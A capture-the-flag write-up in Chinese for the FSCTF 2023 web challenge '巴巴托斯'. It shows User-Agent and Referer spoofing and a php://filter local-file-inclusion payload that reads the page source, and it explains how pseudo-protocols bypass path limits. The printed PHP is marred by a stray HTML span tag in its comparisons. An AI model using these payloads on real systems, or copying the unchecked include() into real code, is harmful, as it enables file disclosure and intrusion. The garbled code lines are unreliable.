[FSCTF 2023]巴巴托斯!已解决
提示需要FSCTF Browser浏览器;抓包修改ua头即可。
修改后,又提示需要本地访问;直接Referer: 127.0.0.1
、
看到file参数就应该想到了文件包含的问题
先用php伪协议包含本页源代码看看还有没有什么其它限制:
file=php://filter/read=convert.base64-encode/resource=index.php
解码如下:
<?php
$in_name = $_GET['file'];
if (isset($in_name)) {
if ($in_name === 'show_image.php') {
// 直接包含文件
include($in_name);
}
// 检查特定的 User-Agent 和 Referer 头
$user_agent = $_SERVER['HTTP_USER_AGENT'];
// 检查来源地址是否为 127.0.0.1
$ip_address = $_SERVER['REMOTE_ADDR'];
if ($user_agent =<span style="font-weight: bold;" class="mark"> 'FSCTF Browser') {
if (isset($_SERVER['HTTP_REFERER']) && $_SERVER['HTTP_REFERER'] </span>= '127.0.0.1') {
// 检查文件是否存在和可读
if (isset($in_name)) {
include($in_name);
} else {
echo "Invalid file!";
}
} else {
echo "Access Denied! Are you local man?";
}
} else {
echo "Access Denied! I love FSCTF Browser";
}
} else {
header('Location: index.php?file=show_image.php');
}
?>
为什么不能直接写文件路径而是要用php伪协议呢:
当你尝试包含或者访问其他目录下的文件时,直接提供文件路径可能会受到一些安全性限制,例如 PHP 的 open_basedir 配置或禁止访问上级目录等。
通过使用伪协议,你可以改变文件路径的解释方式,绕过这些限制。例如,../
在直接提供文件路径时可能被阻止,但在使用伪协议时,你可以使用类似 php://input
、php://filter
或 data://
等伪协议,使 PHP 解释器以不同的方式处理输入,从而实现跨目录包含。这就是为什么要使用伪协议的原因
提示错误,可能flag文件名不是这个,把常见的可能的都试一遍就是了。因为在这之前我包含了其它文件显示成功。
解码后成功拿到flag